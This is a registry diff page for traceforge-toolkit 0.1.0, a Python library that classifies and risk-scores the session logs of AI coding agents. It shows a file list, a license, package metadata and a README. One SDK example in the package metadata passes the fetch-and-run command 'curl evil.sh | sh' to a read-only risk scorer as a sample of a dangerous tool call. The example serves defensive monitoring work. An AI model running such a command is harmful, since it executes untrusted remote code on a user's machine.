traceforge-toolkit 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (205) hide show
  1. traceforge_toolkit-0.1.0/.gitignore +31 -0
  2. traceforge_toolkit-0.1.0/LICENSE +21 -0
  3. traceforge_toolkit-0.1.0/PKG-INFO +188 -0
  4. traceforge_toolkit-0.1.0/README.md +134 -0
  5. traceforge_toolkit-0.1.0/pyproject.toml +154 -0
  6. traceforge_toolkit-0.1.0/src/traceforge/__init__.py +72 -0
  7. traceforge_toolkit-0.1.0/src/traceforge/__main__.py +5 -0
  8. traceforge_toolkit-0.1.0/src/traceforge/_generated.py +254 -0
  9. traceforge_toolkit-0.1.0/src/traceforge/adapters/__init__.py +12 -0
  10. traceforge_toolkit-0.1.0/src/traceforge/adapters/base.py +82 -0
  11. traceforge_toolkit-0.1.0/src/traceforge/adapters/genai_otel.py +164 -0
  12. traceforge_toolkit-0.1.0/src/traceforge/adapters/mapped_json.py +297 -0
  13. traceforge_toolkit-0.1.0/src/traceforge/adapters/otel.py +220 -0
  14. traceforge_toolkit-0.1.0/src/traceforge/boundary/__init__.py +46 -0
  15. traceforge_toolkit-0.1.0/src/traceforge/boundary/data/boundary-model.joblib +0 -0
  16. traceforge_toolkit-0.1.0/src/traceforge/boundary/decode.py +87 -0
  17. traceforge_toolkit-0.1.0/src/traceforge/boundary/features.py +137 -0
  18. traceforge_toolkit-0.1.0/src/traceforge/boundary/inference.py +267 -0
  19. traceforge_toolkit-0.1.0/src/traceforge/boundary/inferencer.py +146 -0
  20. traceforge_toolkit-0.1.0/src/traceforge/classify/__init__.py +95 -0
  21. traceforge_toolkit-0.1.0/src/traceforge/classify/cmd.py +109 -0
  22. traceforge_toolkit-0.1.0/src/traceforge/classify/coding.py +213 -0
  23. traceforge_toolkit-0.1.0/src/traceforge/classify/config.py +554 -0
  24. traceforge_toolkit-0.1.0/src/traceforge/classify/core.py +266 -0
  25. traceforge_toolkit-0.1.0/src/traceforge/classify/data/binary_info.yaml +358 -0
  26. traceforge_toolkit-0.1.0/src/traceforge/classify/data/canonical_tools.yaml +251 -0
  27. traceforge_toolkit-0.1.0/src/traceforge/classify/data/effect_overrides.yaml +480 -0
  28. traceforge_toolkit-0.1.0/src/traceforge/classify/data/mcp_profiles.yaml +711 -0
  29. traceforge_toolkit-0.1.0/src/traceforge/classify/data/recommendation_rules.yaml +111 -0
  30. traceforge_toolkit-0.1.0/src/traceforge/classify/data/risk.yaml +534 -0
  31. traceforge_toolkit-0.1.0/src/traceforge/classify/data/shell_defaults.yaml +95 -0
  32. traceforge_toolkit-0.1.0/src/traceforge/classify/data/shell_rules.yaml +1192 -0
  33. traceforge_toolkit-0.1.0/src/traceforge/classify/data/tool_classifications.yaml +215 -0
  34. traceforge_toolkit-0.1.0/src/traceforge/classify/data/verb_inference.yaml +218 -0
  35. traceforge_toolkit-0.1.0/src/traceforge/classify/mcp.py +181 -0
  36. traceforge_toolkit-0.1.0/src/traceforge/classify/phases.py +75 -0
  37. traceforge_toolkit-0.1.0/src/traceforge/classify/powershell.py +93 -0
  38. traceforge_toolkit-0.1.0/src/traceforge/classify/registry.py +138 -0
  39. traceforge_toolkit-0.1.0/src/traceforge/classify/risk.py +553 -0
  40. traceforge_toolkit-0.1.0/src/traceforge/classify/rules.py +215 -0
  41. traceforge_toolkit-0.1.0/src/traceforge/classify/schema.yaml +282 -0
  42. traceforge_toolkit-0.1.0/src/traceforge/classify/shell.py +503 -0
  43. traceforge_toolkit-0.1.0/src/traceforge/classify/tools.py +91 -0
  44. traceforge_toolkit-0.1.0/src/traceforge/classify/workflow.py +32 -0
  45. traceforge_toolkit-0.1.0/src/traceforge/cli/__init__.py +42 -0
  46. traceforge_toolkit-0.1.0/src/traceforge/cli/config_cmd.py +130 -0
  47. traceforge_toolkit-0.1.0/src/traceforge/cli/detect.py +46 -0
  48. traceforge_toolkit-0.1.0/src/traceforge/cli/download_cmd.py +74 -0
  49. traceforge_toolkit-0.1.0/src/traceforge/cli/factory.py +60 -0
  50. traceforge_toolkit-0.1.0/src/traceforge/cli/gate_cmd.py +30 -0
  51. traceforge_toolkit-0.1.0/src/traceforge/cli/init_cmd.py +86 -0
  52. traceforge_toolkit-0.1.0/src/traceforge/cli/replay.py +130 -0
  53. traceforge_toolkit-0.1.0/src/traceforge/cli/runner.py +181 -0
  54. traceforge_toolkit-0.1.0/src/traceforge/cli/score.py +217 -0
  55. traceforge_toolkit-0.1.0/src/traceforge/cli/status.py +65 -0
  56. traceforge_toolkit-0.1.0/src/traceforge/cli/watch.py +297 -0
  57. traceforge_toolkit-0.1.0/src/traceforge/config/__init__.py +80 -0
  58. traceforge_toolkit-0.1.0/src/traceforge/config/defaults.py +149 -0
  59. traceforge_toolkit-0.1.0/src/traceforge/config/loader.py +239 -0
  60. traceforge_toolkit-0.1.0/src/traceforge/config/mappings.py +104 -0
  61. traceforge_toolkit-0.1.0/src/traceforge/config/models.py +579 -0
  62. traceforge_toolkit-0.1.0/src/traceforge/enricher.py +576 -0
  63. traceforge_toolkit-0.1.0/src/traceforge/formatting/__init__.py +12 -0
  64. traceforge_toolkit-0.1.0/src/traceforge/formatting/budget.py +92 -0
  65. traceforge_toolkit-0.1.0/src/traceforge/formatting/density.py +154 -0
  66. traceforge_toolkit-0.1.0/src/traceforge/gate/__init__.py +17 -0
  67. traceforge_toolkit-0.1.0/src/traceforge/gate/client.py +145 -0
  68. traceforge_toolkit-0.1.0/src/traceforge/gate/external.py +305 -0
  69. traceforge_toolkit-0.1.0/src/traceforge/gate/registry.py +108 -0
  70. traceforge_toolkit-0.1.0/src/traceforge/gate/server.py +174 -0
  71. traceforge_toolkit-0.1.0/src/traceforge/gates/__init__.py +8 -0
  72. traceforge_toolkit-0.1.0/src/traceforge/gates/pii.py +352 -0
  73. traceforge_toolkit-0.1.0/src/traceforge/gates/pii_patterns.yaml +228 -0
  74. traceforge_toolkit-0.1.0/src/traceforge/governance/__init__.py +121 -0
  75. traceforge_toolkit-0.1.0/src/traceforge/governance/assessor.py +441 -0
  76. traceforge_toolkit-0.1.0/src/traceforge/governance/budget.py +59 -0
  77. traceforge_toolkit-0.1.0/src/traceforge/governance/canonical.py +56 -0
  78. traceforge_toolkit-0.1.0/src/traceforge/governance/codec.py +414 -0
  79. traceforge_toolkit-0.1.0/src/traceforge/governance/context.py +249 -0
  80. traceforge_toolkit-0.1.0/src/traceforge/governance/drift.py +196 -0
  81. traceforge_toolkit-0.1.0/src/traceforge/governance/emitter.py +234 -0
  82. traceforge_toolkit-0.1.0/src/traceforge/governance/envelope.py +138 -0
  83. traceforge_toolkit-0.1.0/src/traceforge/governance/ifc.py +364 -0
  84. traceforge_toolkit-0.1.0/src/traceforge/governance/integrity.py +162 -0
  85. traceforge_toolkit-0.1.0/src/traceforge/governance/labeler.py +250 -0
  86. traceforge_toolkit-0.1.0/src/traceforge/governance/mcp_drift.py +328 -0
  87. traceforge_toolkit-0.1.0/src/traceforge/governance/monitor.py +539 -0
  88. traceforge_toolkit-0.1.0/src/traceforge/governance/observer.py +276 -0
  89. traceforge_toolkit-0.1.0/src/traceforge/governance/persistence.py +401 -0
  90. traceforge_toolkit-0.1.0/src/traceforge/governance/phase1.py +77 -0
  91. traceforge_toolkit-0.1.0/src/traceforge/governance/pii.py +276 -0
  92. traceforge_toolkit-0.1.0/src/traceforge/governance/pipeline.py +840 -0
  93. traceforge_toolkit-0.1.0/src/traceforge/governance/registry.py +110 -0
  94. traceforge_toolkit-0.1.0/src/traceforge/governance/results.py +183 -0
  95. traceforge_toolkit-0.1.0/src/traceforge/governance/risk_wrapper.py +113 -0
  96. traceforge_toolkit-0.1.0/src/traceforge/governance/rules.py +368 -0
  97. traceforge_toolkit-0.1.0/src/traceforge/governance/scorer.py +262 -0
  98. traceforge_toolkit-0.1.0/src/traceforge/governance/shield.py +318 -0
  99. traceforge_toolkit-0.1.0/src/traceforge/governance/state.py +466 -0
  100. traceforge_toolkit-0.1.0/src/traceforge/governance/types.py +176 -0
  101. traceforge_toolkit-0.1.0/src/traceforge/mappings/__init__.py +1 -0
  102. traceforge_toolkit-0.1.0/src/traceforge/mappings/aider.yaml +216 -0
  103. traceforge_toolkit-0.1.0/src/traceforge/mappings/aider_markdown.yaml +113 -0
  104. traceforge_toolkit-0.1.0/src/traceforge/mappings/amazonq.yaml +56 -0
  105. traceforge_toolkit-0.1.0/src/traceforge/mappings/antigravity.yaml +88 -0
  106. traceforge_toolkit-0.1.0/src/traceforge/mappings/claude.yaml +93 -0
  107. traceforge_toolkit-0.1.0/src/traceforge/mappings/cline.yaml +286 -0
  108. traceforge_toolkit-0.1.0/src/traceforge/mappings/codex.yaml +158 -0
  109. traceforge_toolkit-0.1.0/src/traceforge/mappings/continue_dev.yaml +57 -0
  110. traceforge_toolkit-0.1.0/src/traceforge/mappings/copilot.yaml +266 -0
  111. traceforge_toolkit-0.1.0/src/traceforge/mappings/copilot_markdown.yaml +72 -0
  112. traceforge_toolkit-0.1.0/src/traceforge/mappings/copilot_vscode.yaml +181 -0
  113. traceforge_toolkit-0.1.0/src/traceforge/mappings/crewai.yaml +592 -0
  114. traceforge_toolkit-0.1.0/src/traceforge/mappings/goose.yaml +128 -0
  115. traceforge_toolkit-0.1.0/src/traceforge/mappings/langgraph.yaml +165 -0
  116. traceforge_toolkit-0.1.0/src/traceforge/mappings/maf.yaml +90 -0
  117. traceforge_toolkit-0.1.0/src/traceforge/mappings/maf_transcript.yaml +99 -0
  118. traceforge_toolkit-0.1.0/src/traceforge/mappings/openai_agents.yaml +144 -0
  119. traceforge_toolkit-0.1.0/src/traceforge/mappings/opencode.yaml +473 -0
  120. traceforge_toolkit-0.1.0/src/traceforge/mappings/openhands.yaml +320 -0
  121. traceforge_toolkit-0.1.0/src/traceforge/mappings/pydantic_ai.yaml +183 -0
  122. traceforge_toolkit-0.1.0/src/traceforge/mappings/smolagents.yaml +89 -0
  123. traceforge_toolkit-0.1.0/src/traceforge/mappings/sweagent.yaml +82 -0
  124. traceforge_toolkit-0.1.0/src/traceforge/migrations/__init__.py +1 -0
  125. traceforge_toolkit-0.1.0/src/traceforge/migrations/env.py +60 -0
  126. traceforge_toolkit-0.1.0/src/traceforge/migrations/models.py +145 -0
  127. traceforge_toolkit-0.1.0/src/traceforge/migrations/runner.py +44 -0
  128. traceforge_toolkit-0.1.0/src/traceforge/migrations/script.py.mako +25 -0
  129. traceforge_toolkit-0.1.0/src/traceforge/migrations/versions/0001_initial.py +176 -0
  130. traceforge_toolkit-0.1.0/src/traceforge/migrations/versions/__init__.py +4 -0
  131. traceforge_toolkit-0.1.0/src/traceforge/models.py +29 -0
  132. traceforge_toolkit-0.1.0/src/traceforge/parsers/__init__.py +21 -0
  133. traceforge_toolkit-0.1.0/src/traceforge/parsers/aider.py +416 -0
  134. traceforge_toolkit-0.1.0/src/traceforge/parsers/base.py +226 -0
  135. traceforge_toolkit-0.1.0/src/traceforge/parsers/copilot.py +314 -0
  136. traceforge_toolkit-0.1.0/src/traceforge/phase/__init__.py +50 -0
  137. traceforge_toolkit-0.1.0/src/traceforge/phase/data/phase-model.joblib +0 -0
  138. traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/README.md +99 -0
  139. traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/config.json +13 -0
  140. traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/model.safetensors +0 -0
  141. traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/modules.json +14 -0
  142. traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/tokenizer.json +1 -0
  143. traceforge_toolkit-0.1.0/src/traceforge/phase/event_rows.py +107 -0
  144. traceforge_toolkit-0.1.0/src/traceforge/phase/features.py +468 -0
  145. traceforge_toolkit-0.1.0/src/traceforge/phase/inference.py +279 -0
  146. traceforge_toolkit-0.1.0/src/traceforge/phase/inferencer.py +171 -0
  147. traceforge_toolkit-0.1.0/src/traceforge/phase/segmentation.py +258 -0
  148. traceforge_toolkit-0.1.0/src/traceforge/pipeline.py +891 -0
  149. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/__init__.py +34 -0
  150. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/amazonq.py +224 -0
  151. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/antigravity.py +116 -0
  152. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/claude.py +95 -0
  153. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/cline.py +36 -0
  154. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/codex.py +311 -0
  155. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/continue_dev.py +119 -0
  156. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/copilot_vscode.py +171 -0
  157. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/goose.py +156 -0
  158. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/maf_transcript.py +84 -0
  159. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/openai_agents.py +86 -0
  160. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/opencode.py +85 -0
  161. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/openhands.py +36 -0
  162. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/pydantic_ai.py +62 -0
  163. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/registry.py +24 -0
  164. traceforge_toolkit-0.1.0/src/traceforge/preprocessors/smolagents.py +90 -0
  165. traceforge_toolkit-0.1.0/src/traceforge/py.typed +0 -0
  166. traceforge_toolkit-0.1.0/src/traceforge/sdk/__init__.py +59 -0
  167. traceforge_toolkit-0.1.0/src/traceforge/sdk/gate_policy.py +63 -0
  168. traceforge_toolkit-0.1.0/src/traceforge/sdk/gate_types.py +140 -0
  169. traceforge_toolkit-0.1.0/src/traceforge/sdk/pipeline.py +265 -0
  170. traceforge_toolkit-0.1.0/src/traceforge/sdk/verdict.py +81 -0
  171. traceforge_toolkit-0.1.0/src/traceforge/sinks/__init__.py +23 -0
  172. traceforge_toolkit-0.1.0/src/traceforge/sinks/base.py +95 -0
  173. traceforge_toolkit-0.1.0/src/traceforge/sinks/callback.py +132 -0
  174. traceforge_toolkit-0.1.0/src/traceforge/sinks/console.py +112 -0
  175. traceforge_toolkit-0.1.0/src/traceforge/sinks/factory.py +94 -0
  176. traceforge_toolkit-0.1.0/src/traceforge/sinks/jsonl.py +125 -0
  177. traceforge_toolkit-0.1.0/src/traceforge/sinks/otel_exporter.py +212 -0
  178. traceforge_toolkit-0.1.0/src/traceforge/sinks/parquet.py +260 -0
  179. traceforge_toolkit-0.1.0/src/traceforge/sinks/s3.py +206 -0
  180. traceforge_toolkit-0.1.0/src/traceforge/sinks/sqlite_output.py +234 -0
  181. traceforge_toolkit-0.1.0/src/traceforge/sinks/webhook.py +136 -0
  182. traceforge_toolkit-0.1.0/src/traceforge/sources/__init__.py +18 -0
  183. traceforge_toolkit-0.1.0/src/traceforge/sources/auto_detect.py +173 -0
  184. traceforge_toolkit-0.1.0/src/traceforge/sources/base.py +45 -0
  185. traceforge_toolkit-0.1.0/src/traceforge/sources/file_poll.py +136 -0
  186. traceforge_toolkit-0.1.0/src/traceforge/sources/file_watch.py +221 -0
  187. traceforge_toolkit-0.1.0/src/traceforge/sources/http_poll.py +141 -0
  188. traceforge_toolkit-0.1.0/src/traceforge/sources/replay.py +63 -0
  189. traceforge_toolkit-0.1.0/src/traceforge/sources/sqlite.py +187 -0
  190. traceforge_toolkit-0.1.0/src/traceforge/sources/sse.py +198 -0
  191. traceforge_toolkit-0.1.0/src/traceforge/telemetry/__init__.py +192 -0
  192. traceforge_toolkit-0.1.0/src/traceforge/title/__init__.py +23 -0
  193. traceforge_toolkit-0.1.0/src/traceforge/title/_resolve.py +79 -0
  194. traceforge_toolkit-0.1.0/src/traceforge/title/context.py +295 -0
  195. traceforge_toolkit-0.1.0/src/traceforge/title/data/boilerplate_files.json +14 -0
  196. traceforge_toolkit-0.1.0/src/traceforge/title/heuristics.py +429 -0
  197. traceforge_toolkit-0.1.0/src/traceforge/title/hygiene.py +90 -0
  198. traceforge_toolkit-0.1.0/src/traceforge/title/inference.py +314 -0
  199. traceforge_toolkit-0.1.0/src/traceforge/title/inferencer.py +477 -0
  200. traceforge_toolkit-0.1.0/src/traceforge/title/naming.py +398 -0
  201. traceforge_toolkit-0.1.0/src/traceforge/trace.py +291 -0
  202. traceforge_toolkit-0.1.0/src/traceforge/tracking/__init__.py +30 -0
  203. traceforge_toolkit-0.1.0/src/traceforge/tracking/models.py +115 -0
  204. traceforge_toolkit-0.1.0/src/traceforge/tracking/phase_tracker.py +288 -0
  205. traceforge_toolkit-0.1.0/src/traceforge/types.py +315 -0
@@ -0,0 +1,31 @@
1
+ __pycache__/
2
+ *.pyc
3
+ *.egg-info/
4
+ dist/
5
+ build/
6
+ .pytest_cache/
7
+ .ruff_cache/
8
+ *.egg
9
+ .eggs/
10
+ .coverage
11
+ research/labeling-run.log
12
+
13
+ # Run artifacts from agent-trace / golden-run harnesses
14
+ *.log
15
+ *.pid
16
+ *.err
17
+
18
+ # agent-trace harness run artifacts
19
+ *.log
20
+ *.log.err
21
+ *.err
22
+ *.pid
23
+ run-golden*.ps1
24
+ agent-targets.txt
25
+
26
+ commit_msg.txt
27
+
28
+ # Docusaurus site (website/ is an independent Node subproject)
29
+ website/node_modules/
30
+ website/build/
31
+ website/.docusaurus/
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 dfinson
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,188 @@
1
+ Metadata-Version: 2.4
2
+ Name: traceforge-toolkit
3
+ Version: 0.1.0
4
+ Summary: Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output
5
+ Project-URL: Homepage, https://github.com/dfinson/traceforge
6
+ Project-URL: Repository, https://github.com/dfinson/traceforge
7
+ Project-URL: Issues, https://github.com/dfinson/traceforge/issues
8
+ Project-URL: Changelog, https://github.com/dfinson/traceforge/releases
9
+ Author-email: David Finson <davidfinson@microsoft.com>
10
+ License-Expression: MIT
11
+ License-File: LICENSE
12
+ Keywords: agent,ai-agents,coding-agents,governance,llm,observability,risk-scoring,tracing
13
+ Classifier: Development Status :: 4 - Beta
14
+ Classifier: Intended Audience :: Developers
15
+ Classifier: Operating System :: OS Independent
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3 :: Only
18
+ Classifier: Programming Language :: Python :: 3.11
19
+ Classifier: Programming Language :: Python :: 3.12
20
+ Classifier: Programming Language :: Python :: 3.13
21
+ Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
22
+ Classifier: Topic :: Software Development :: Quality Assurance
23
+ Classifier: Typing :: Typed
24
+ Requires-Python: <3.14,>=3.11
25
+ Requires-Dist: alembic>=1.13
26
+ Requires-Dist: click>=8.1
27
+ Requires-Dist: httpx>=0.25
28
+ Requires-Dist: joblib>=1.3
29
+ Requires-Dist: litellm>=1.0
30
+ Requires-Dist: model2vec>=0.8.2
31
+ Requires-Dist: numpy>=1.24
32
+ Requires-Dist: onnxruntime>=1.17
33
+ Requires-Dist: pyarrow>=15
34
+ Requires-Dist: pydantic>=2.0
35
+ Requires-Dist: pyyaml>=6.0
36
+ Requires-Dist: scikit-learn>=1.5
37
+ Requires-Dist: scipy>=1.11
38
+ Requires-Dist: sqlalchemy>=2.0
39
+ Requires-Dist: tokenizers>=0.15
40
+ Requires-Dist: traceforge-title-model>=0.2
41
+ Requires-Dist: tree-sitter-bash>=0.24
42
+ Requires-Dist: tree-sitter-markdown>=0.5
43
+ Requires-Dist: tree-sitter-powershell>=0.24
44
+ Requires-Dist: tree-sitter>=0.24
45
+ Requires-Dist: tzdata>=2024.1; platform_system == 'Windows'
46
+ Requires-Dist: watchdog>=4.0
47
+ Provides-Extra: dev
48
+ Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
49
+ Requires-Dist: pytest>=8.0; extra == 'dev'
50
+ Requires-Dist: ruff==0.15.20; extra == 'dev'
51
+ Provides-Extra: s3
52
+ Requires-Dist: boto3>=1.28; extra == 's3'
53
+ Description-Content-Type: text/markdown
54
+
55
+ <div align="center">
56
+
57
+ <img src="website/static/img/logo-full.png" alt="TraceForge" width="420" />
58
+
59
+ **Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.**
60
+
61
+ [![Lint](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml)
62
+ [![Test](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml)
63
+ [![PyPI](https://img.shields.io/badge/PyPI-coming%20soon-FF9921)](https://pypi.org/project/traceforge/)
64
+ [![Python](https://img.shields.io/badge/python-3.11%20|%203.12%20|%203.13-256EF3)](https://github.com/dfinson/traceforge)
65
+ [![License: MIT](https://img.shields.io/badge/license-MIT-7359AE.svg)](LICENSE)
66
+ [![Docs](https://img.shields.io/badge/docs-traceforge-FF9921)](https://dfinson.github.io/traceforge/)
67
+
68
+ **[📖 Read the full documentation →](https://dfinson.github.io/traceforge/)**
69
+
70
+ </div>
71
+
72
+ ---
73
+
74
+ TraceForge is a framework-agnostic Python library that turns the raw session logs of
75
+ AI coding agents into a strongly-typed event stream, classified, risk-scored, and
76
+ governance-assessed in real time. Adding support for a new agent framework requires only a **YAML
77
+ mapping file**: no code.
78
+
79
+ <p align="center">
80
+ <picture>
81
+ <source media="(max-width: 600px)" srcset="website/static/img/pipeline-mobile.svg">
82
+ <img src="website/static/img/pipeline-desktop.svg" alt="TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline." width="860">
83
+ </picture>
84
+ </p>
85
+
86
+ ## What it does
87
+
88
+ 1. **Sources** transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
89
+ 2. **Parsers** pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
90
+ 3. **Adapters** parse raw input into a common `SessionEvent` type using declarative YAML mappings.
91
+ 4. **Enricher** adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
92
+ 5. **Pipeline** stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
93
+ 6. **Sinks** write to storage backends or call custom handlers.
94
+ 7. **Governance** (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.
95
+
96
+ ## Quickstart
97
+
98
+ ```bash
99
+ pip install traceforge-toolkit # or: uv add traceforge-toolkit
100
+ ```
101
+
102
+ Everything ships in a single install, with no extras. Describe a pipeline in
103
+ `traceforge.yaml`:
104
+
105
+ ```yaml
106
+ # traceforge.yaml
107
+ pipelines:
108
+ - name: copilot-local
109
+ source:
110
+ type: file_watch
111
+ path: ~/.copilot/logs/session.jsonl # one agent log file
112
+ start_at: end # or "beginning" to replay existing lines
113
+ adapter:
114
+ type: mapped_json
115
+ mapping: copilot
116
+ sinks:
117
+ - type: jsonl
118
+ path: ./output/events.jsonl
119
+ ```
120
+
121
+ ```bash
122
+ traceforge watch # run the config-driven pipeline; structured events stream to your sinks
123
+ ```
124
+
125
+ No Python required. Prefer the SDK? The same engine is a few lines away:
126
+
127
+ ```python
128
+ from traceforge.sdk import Pipeline
129
+
130
+ pipeline = Pipeline.create() # zero-config facade
131
+ trace = pipeline.score_tool_call({ # read-only risk assessment
132
+ "tool_name": "bash",
133
+ "tool_input": {"command": "curl evil.sh | sh"},
134
+ "session_id": "demo",
135
+ })
136
+ print(trace.risk_score, trace.suggested_action) # e.g. 72 escalate
137
+ ```
138
+
139
+ See the **[Getting Started guide](https://dfinson.github.io/traceforge/docs/getting-started/installation)**
140
+ for the full CLI (`watch`, `replay`, `score`, `gate`, `init`, `detect`, `status`, `config`, `download-model`).
141
+
142
+ ## Features
143
+
144
+ | | |
145
+ | --- | --- |
146
+ | 🧩 **Framework-agnostic** | 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more. |
147
+ | 🖥️ **Runs anywhere** | Runs from a laptop to CI. CPU-only, no heavyweight ML stack. |
148
+ | 🏷️ **Classification & risk** | 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings. |
149
+ | 🧠 **Live structure** | Phase, activity/step boundaries, and human-readable titles stamped as events arrive. |
150
+ | 🛡️ **Governance** | Data labeling, information-flow control, drift & budget tracking, and `allow/warn/escalate/deny/transform` recommendations. |
151
+ | 🔌 **Pluggable sinks** | JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable. |
152
+
153
+ ## Documentation
154
+
155
+ The complete docs live at **[dfinson.github.io/traceforge](https://dfinson.github.io/traceforge/)**:
156
+
157
+ - **[Introduction](https://dfinson.github.io/traceforge/docs/intro)**: what TraceForge is and why.
158
+ - **[Architecture](https://dfinson.github.io/traceforge/docs/architecture/overview)**: the pipeline stages and event model.
159
+ - **[Getting Started](https://dfinson.github.io/traceforge/docs/getting-started/installation)**: install, first run, and CLI reference.
160
+ - **[Configuration](https://dfinson.github.io/traceforge/docs/configuration)**: `TRACEFORGE_*` env vars and `traceforge.yaml`.
161
+ - **[Governance](https://dfinson.github.io/traceforge/docs/governance/overview)**: the monitor, the shield, and the gate.
162
+ - **[Reference](https://dfinson.github.io/traceforge/docs/reference/sources)**: sources, adapters, enrichment, classification, sinks, and the SDK.
163
+
164
+ The authoritative technical spec remains in [`SPEC.md`](SPEC.md).
165
+
166
+ ## Design principles
167
+
168
+ - **Observation-first**: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
169
+ - **Framework-agnostic**: new framework support = new YAML file.
170
+ - **Defensive parsing**: malformed input is logged and skipped, never crashes.
171
+ - **Immutable domain objects**: events are frozen models.
172
+ - **Error isolation**: one failing sink cannot block others.
173
+ - **Data-driven**: classification, risk scoring, and MCP profiles are externalized to YAML.
174
+
175
+ ## Contributing
176
+
177
+ Contributions welcome, see **[CONTRIBUTING.md](CONTRIBUTING.md)** for dev setup with `uv`, running
178
+ the test suite, linting with `ruff`, and how to add a new agent framework mapping.
179
+
180
+ ## Status
181
+
182
+ 🚧 **Under active development**: not yet published to PyPI. The pipeline is feature-complete:
183
+ sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring,
184
+ the governance engine, all storage sinks, and the `traceforge` CLI all ship today.
185
+
186
+ ## License
187
+
188
+ [MIT](LICENSE)
@@ -0,0 +1,134 @@
1
+ <div align="center">
2
+
3
+ <img src="website/static/img/logo-full.png" alt="TraceForge" width="420" />
4
+
5
+ **Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.**
6
+
7
+ [![Lint](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml)
8
+ [![Test](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml)
9
+ [![PyPI](https://img.shields.io/badge/PyPI-coming%20soon-FF9921)](https://pypi.org/project/traceforge/)
10
+ [![Python](https://img.shields.io/badge/python-3.11%20|%203.12%20|%203.13-256EF3)](https://github.com/dfinson/traceforge)
11
+ [![License: MIT](https://img.shields.io/badge/license-MIT-7359AE.svg)](LICENSE)
12
+ [![Docs](https://img.shields.io/badge/docs-traceforge-FF9921)](https://dfinson.github.io/traceforge/)
13
+
14
+ **[📖 Read the full documentation →](https://dfinson.github.io/traceforge/)**
15
+
16
+ </div>
17
+
18
+ ---
19
+
20
+ TraceForge is a framework-agnostic Python library that turns the raw session logs of
21
+ AI coding agents into a strongly-typed event stream, classified, risk-scored, and
22
+ governance-assessed in real time. Adding support for a new agent framework requires only a **YAML
23
+ mapping file**: no code.
24
+
25
+ <p align="center">
26
+ <picture>
27
+ <source media="(max-width: 600px)" srcset="website/static/img/pipeline-mobile.svg">
28
+ <img src="website/static/img/pipeline-desktop.svg" alt="TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline." width="860">
29
+ </picture>
30
+ </p>
31
+
32
+ ## What it does
33
+
34
+ 1. **Sources** transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
